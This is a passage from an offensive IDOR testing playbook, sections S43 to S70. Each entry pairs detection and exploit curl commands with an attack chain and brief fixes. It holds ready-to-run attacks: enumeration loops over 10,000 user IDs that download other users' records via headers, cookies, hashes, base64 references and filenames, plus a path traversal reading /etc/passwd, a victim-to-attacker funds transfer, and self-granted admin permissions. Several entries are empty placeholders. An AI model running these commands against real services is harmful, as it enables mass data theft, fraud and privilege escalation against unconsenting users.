  -d '{"role":"admin"}'
# Other user made admin? IDOR.
```

### Exploit
```bash
# Make victim admin (chaos) or make self admin via bug
```

### Chain
1. Find role change endpoint
2. Modify role
3. Privilege escalation

### Bypass / Notes
- Admin-only role change

---

## S44: IDOR for permission grant
**Context:** Permission grant endpoint takes user_id. Attacker grants self permissions.
**Seen in:** Real.
**Impact:** Privilege escalation.

### Detection
```bash
curl -X POST https://target.com/api/users/123/permissions \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"permissions":["*"]}'
# Permissions added to victim (or self via IDOR)? IDOR.
```

### Exploit
```bash
# Grant self permissions
```

### Chain
1. Find permission endpoint
2. Grant self
3. Privilege escalation

### Bypass / Notes
- Admin-only permission grant

---

## S45: IDOR for subscription upgrade
**Context:** Subscription upgrade endpoint takes user_id. Attacker upgrades victim's subscription.
**Seen in:** Real.
**Impact:** Financial loss, or downgrade (DoS).

### Detection
```bash
curl -X POST https://target.com/api/users/123/subscription \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"plan":"premium"}'
# Other user upgraded? IDOR.
```

### Exploit
```bash
# Downgrade victim
curl -X POST https://target.com/api/users/123/subscription \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"plan":"free"}'
```

### Chain
1. Find subscription endpoint
2. Modify victim's
3. DoS / fraud

### Bypass / Notes
- Validate ownership

---

## S46: 3-level nested IDOR (org/team/user)
**Context:** `/api/orgs/{org_id}/teams/{team_id}/users/{user_id}` — 3 levels of ownership.
**Seen in:** Real.
**Impact:** Multi-level breach.

### Detection
```bash
# Get own nested resource
curl "https://saas.com/api/orgs/5/teams/100/users/1234" -H "Authorization: Bearer $TOKEN"
# Try other IDs
curl "https://saas.com/api/orgs/5/teams/100/users/1235" -H "Authorization: Bearer $TOKEN"
curl "https://saas.com/api/orgs/5/teams/101/users/1234" -H "Authorization: Bearer $TOKEN"
curl "https://saas.com/api/orgs/6/teams/100/users/1234" -H "Authorization: Bearer $TOKEN"
```

### Exploit
```bash
# Enumerate
for user_id in $(seq 1 10000); do
  curl -s "https://saas.com/api/orgs/5/teams/100/users/$user_id" -H "Authorization: Bearer $TOKEN" -o "user_$user_id.json"
done
```

### Chain
1. Find nested endpoint
2. Enumerate at each level
3. Multi-tenant breach

### Bypass / Notes
- Validate at each level

---

## S47: 4-level nested IDOR
**Context:** `/api/region/{r}/org/{o}/team/{t}/user/{u}` — 4 levels.
**Seen in:** Real.
**Impact:** Deepest level breach.

### Detection
```bash
# Same as S46
```

### Exploit
```bash
# Same as S46
```

### Chain
1. Find 4-level nested endpoint
2. Enumerate
3. Deepest breach

### Bypass / Notes
- Validate at each level

---

## S48: Indirect reference via path
**Context:** `/api/download?file=path/to/file.pdf` — file path in URL.
**Seen in:** Common.
**Impact:** LFI.

### Detection
```bash
curl "https://target.com/api/download?file=docs/12345.pdf" -H "Authorization: Bearer $TOKEN"
curl "https://target.com/api/download?file=docs/12346.pdf" -H "Authorization: Bearer $TOKEN"
# Other user's file? IDOR.
```

### Exploit
```bash
# Traversal
curl "https://target.com/api/download?file=../../etc/passwd"
```

### Chain
1. Find download endpoint
2. Enumerate / traverse
3. Read files

### Bypass / Notes
- Validate file ownership
- Don't allow path traversal

---

## S49: Indirect reference via filename
**Context:** Same as S48, but filename pattern.
**Seen in:** Common.
**Impact:** LFI.

### Detection
```bash
# See S48
```

### Exploit
```bash
# See S48
```

### Chain
1. Find download endpoint
2. Enumerate / traverse
3. Read files

### Bypass / Notes
- Validate

---

## S50: Indirect reference via hash
**Context:** File is MD5/SHA1 hash of user_id. Hash is reversible.
**Seen in:** Real.
**Impact:** LFI.

### Detection
```bash
# Get own hash
curl "https://target.com/api/file?hash=md5(12345)" -H "Authorization: Bearer $TOKEN"
# Compute hash of other ID
echo -n "12346" | md5sum
# Use that hash
curl "https://target.com/api/file?hash=md5(12346)" -H "Authorization: Bearer $TOKEN"
```

### Exploit
```bash
# Generate hashes
for id in $(seq 1 10000); do
  HASH=$(echo -n $id | md5sum | awk '{print $1}')
  curl -s "https://target.com/api/file?hash=$HASH" -H "Authorization: Bearer $TOKEN" -o "file_$id.dat"
done
```

### Chain
1. Find hash-based reference
2. Compute hashes
3. IDOR

### Bypass / Notes
- Validate ownership

---

## S51: Indirect reference via base64
**Context:** File reference is base64(user_id).
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
# Get own reference
echo "12345" | base64
# MTIzNDU=
curl "https://target.com/api/file?ref=MTIzNDU=" -H "Authorization: Bearer $TOKEN"

# Try other ID
echo "12346" | base64
# MTIzNDY=
curl "https://target.com/api/file?ref=MTIzNDY=" -H "Authorization: Bearer $TOKEN"
```

### Exploit
```bash
# Generate base64
for id in $(seq 1 10000); do
  REF=$(echo -n $id | base64 -w0)
  curl -s "https://target.com/api/file?ref=$REF" -H "Authorization: Bearer $TOKEN" -o "file_$id.dat"
done
```

### Chain
1. Find base64 reference
2. Generate
3. IDOR

### Bypass / Notes
- Validate ownership

---

## S52: Indirect reference via UUID mapping
**Context:** File has UUID in DB, but URL uses internal mapping ID.
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
# Same as IDOR basic
```

### Exploit
```bash
# Same as IDOR basic
```

### Chain
1. Find UUID mapping
2. Enumerate
3. IDOR

### Bypass / Notes
- Validate

---

## S53: Indirect reference via filename pattern
**Context:** Filename includes user_id or sequential number.
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
# See pattern in own file
# E.g., invoice_12345.pdf
# Other user: invoice_12346.pdf
```

### Exploit
```bash
# Generate
for id in $(seq 1 10000); do
  curl -s "https://target.com/api/file/invoice_$id.pdf" -H "Authorization: Bearer $TOKEN" -o "invoice_$id.pdf"
done
```

### Chain
1. Find pattern
2. Enumerate
3. IDOR

### Bypass / Notes
- Validate

---

## S54: Indirect reference via URL token
**Context:** URL has token (not user_id). But token is predictable or shared.
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
# Get own URL with token
# Test if other IDs use predictable tokens
```

### Exploit
```bash
# Predict tokens
```

### Chain
1. Find token pattern
2. Predict
3. IDOR

### Bypass / Notes
- Random tokens

---

## S55: Indirect reference via signed URL (if leaked)
**Context:** S3 presigned URLs leak. Other users can access.
**Seen in:** Real.
**Impact:** S3 data leak.

### Detection
```bash
# Get own signed URL
curl "https://s3.amazonaws.com/bucket/file?AWSAccessKeyId=...&Signature=..."
# 200 OK
# Check if other files use same keys (if leaked)
```

### Exploit
```bash
# If access key leaked, generate presigned URL for any file
# aws s3 presign s3://bucket/victim-file.pdf
```

### Chain
1. Access key leaked
2. Generate presigned URL for any file
3. Read

### Bypass / Notes
- Short TTL on presigned URLs
- Rotate keys

---

## S56: IDOR via POST body (uid vs url_uid)
**Context:** Server uses `url_uid` for ownership check but `uid` for actual data.
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
curl -X POST https://target.com/api/transfer \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url_uid":"attacker","uid":"victim","amount":100}'
# Transfer from victim? IDOR.
```

### Exploit
```bash
# Specify both url_uid and uid
curl -X POST https://target.com/api/transfer \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url_uid":"attacker","uid":"victim","amount":10000}'
```

### Chain
1. Find dual-id fields
2. Specify attacker's auth + victim's data
3. IDOR

### Bypass / Notes
- Use one source of truth for user_id

---

## S57: IDOR via JSON field
**Context:** JSON has different user_id fields. Server uses wrong one.
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
# Test various field names
for field in user_id uid owner created_by userId userID; do
  curl -X PATCH https://target.com/api/users/me \
    -H "Authorization: Bearer $TOKEN" \
    -d "{\"$field\":\"victim\"}"
done
```

### Exploit
```bash
# Use the field that works
```

### Chain
1. Find field confusion
2. Use it
3. IDOR

### Bypass / Notes
- One user_id source

---

## S58: IDOR via HTTP header
**Context:** Custom header carries user_id. Change → IDOR.
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
curl https://target.com/api/data \
  -H "Authorization: Bearer $TOKEN" \
  -H "X-User-Id: 1"
curl https://target.com/api/data \
  -H "Authorization: Bearer $TOKEN" \
  -H "X-User-Id: 2"
```

### Exploit
```bash
# Enumerate
for user_id in $(seq 1 10000); do
  curl -s "https://target.com/api/data" -H "Authorization: Bearer $TOKEN" -H "X-User-Id: $user_id" -o "user_$user_id.json"
done
```

### Chain
1. Find user_id header
2. Enumerate
3. IDOR

### Bypass / Notes
- Don't trust client headers

---

## S59: IDOR via cookie
**Context:** user_id in cookie. Change cookie → IDOR.
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
# Get own cookies
curl -I https://target.com -H "Authorization: Bearer $TOKEN"
# Set-Cookie: session=xxx; user_id=1

# Change user_id
curl https://target.com/api/data -H "Authorization: Bearer $TOKEN" -b "user_id=2"
```

### Exploit
```bash
# Enumerate
for user_id in $(seq 1 10000); do
  curl -s "https://target.com/api/data" -H "Authorization: Bearer $TOKEN" -b "user_id=$user_id" -o "user_$user_id.json"
done
```

### Chain
1. Find user_id cookie
2. Enumerate
3. IDOR

### Bypass / Notes
- Sign cookies

---

## S60: IDOR via query string
**Context:** user_id in query string. Change → IDOR.
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
curl "https://target.com/api/data?user_id=1" -H "Authorization: Bearer $TOKEN"
curl "https://target.com/api/data?user_id=2" -H "Authorization: Bearer $TOKEN"
```

### Exploit
```bash
# Same as basic IDOR
```

### Chain
1. Find user_id param
2. Enumerate
3. IDOR

### Bypass / Notes
- Use session user_id

---

## S61: IDOR via referer
**Context:** Some apps trust Referer header.
**Seen in:** Rare.
**Impact:** IDOR.

### Detection
```bash
# Check if Referer is trusted
```

### Exploit
```bash
# Spoof Referer
curl https://target.com/api/data -H "Referer: https://target.com/users/victim"
```

### Chain
1. Find Referer-trust
2. Spoof
3. IDOR

### Bypass / Notes
- Don't trust Referer

---

## S62: IDOR via origin
**Context:** App trusts Origin header for CORS-based auth.
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
# Test
```

### Exploit
```bash
# Spoof
```

### Chain
1. Find Origin-trust
2. Spoof
3. IDOR

### Bypass / Notes
- Strict Origin validation

---

## S63: IDOR via User-Agent
**Context:** App uses User-Agent for some auth check.
**Seen in:** Rare.
**Impact:** IDOR.

### Detection
```bash
# Change UA
curl -A "VictimApp/1.0" https://target.com/api/data
```

### Exploit
```bash
# Spoof
```

### Chain
1. Find UA-trust
2. Spoof
3. IDOR

### Bypass / Notes
- Don't trust UA for auth

---

## S64: IDOR via custom token
**Context:** App uses custom token (e.g., X-User-Token). Change → IDOR.
**Seen in:** Real.
**Impact:** IDOR.

### Detection
```bash
# Find custom token
# Change
```

### Exploit
```bash
# Enumerate
```

### Chain
1. Find custom token
2. Enumerate
3. IDOR

### Bypass / Notes
- Server-side validation

---

## S65: IDOR via mobile API
**Context:** Mobile API has different auth. IDOR on mobile.
**Seen in:** Real.
**Impact:** IDOR via mobile.

### Detection
```bash
# Intercept mobile API
# Test IDOR
```

### Exploit
```bash
# Same as web
```

### Chain
1. Mobile API often has weaker auth
2. IDOR via mobile

### Bypass / Notes
- Same auth on mobile and web

---

## S66: Create 2 accounts
**Context:** Best way to find IDOR. Create 2 accounts, compare.
**Seen in:** Methodology.
**Impact:** IDOR detection.

### Detection
```bash
# 1. Register account A
curl -X POST https://target.com/api/signup -d '{"email":"a@x.com","password":"x"}'
# Get token
TOKEN_A=$(...)

# 2. Register account B
curl -X POST https://target.com/api/signup -d '{"email":"b@x.com","password":"x"}'
# Get token
TOKEN_B=$(...)

# 3. From A's session, request B's resource
curl https://target.com/api/users/B_ID -H "Authorization: Bearer $TOKEN_A"
# 200 OK? IDOR.
```

### Exploit
```bash
# Already covered in individual scenarios
```

### Chain
1. Create A
2. Create B
3. From A, request B's resources
4. If success, IDOR

### Bypass / Notes
- Always do this for IDOR testing

---

## S67: Compare responses
**Context:** Compare responses from different users to find differences.
**Seen in:** Methodology.
**Impact:** IDOR detection.

### Detection
```bash
# Compare
diff <(curl https://target.com/api/users/1 -H "Authorization: Bearer $TOKEN_A") \
     <(curl https://target.com/api/users/1 -H "Authorization: Bearer $TOKEN_B")
# Different responses → check ownership check
```

### Exploit
```bash
# N/A
```

### Chain
1. Compare responses
2. Find anomalies
3. IDOR

### Bypass / Notes
- Standard methodology

---

## S68: Autorize (Burp extension)
**Context:** Burp extension Autorize auto-detects IDOR.
**Seen in:** Tooling.
**Impact:** IDOR detection.

### Detection
```bash
# Install Autorize from BApp Store
# Configure with low-priv and high-priv sessions
# Browse app
# Autorize highlights IDOR
```

### Exploit
```bash
# N/A — tool
```

### Chain
1. Install Autorize
2. Configure sessions
3. Browse
4. Find IDOR

### Bypass / Notes
- Autorize saves hours

---

## S69: Workflow-based IDOR
**Context:** IDOR in workflow state. E.g., approval workflow.
**Seen in:** Real.
**Impact:** Bypass approval.

### Detection
```bash
# Approve own item
curl -X POST https://target.com/api/items/123/approve \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"approver":"victim_id"}'
# Approves as victim? IDOR.
```

### Exploit
```bash
# Use victim's ID
```

### Chain
1. Find workflow endpoint
2. Use victim's ID
3. Bypass

### Bypass / Notes
- Server-side approver validation

---

## S70: Time-based IDOR detection
**Context:** Compare response times to detect IDOR.
**Seen in:** Methodology.
**Impact:** IDOR detection.

### Detection
```bash
# Time responses
time curl https://target.com/api/users/1 -H "Authorization: Bearer $TOKEN"
time curl https://target.com/api/users/2 -H "Authorization: Bearer $TOKEN"
time curl https://target.com/api/users/999999 -H "Authorization: Bearer $TOKEN"
# Different times → different code paths → IDOR possible
```

### Exploit
```bash
# N/A
```

### Chain
1. Time responses
2. Find anomalies
3. IDOR

### Bypass / Notes
- Side channel

---
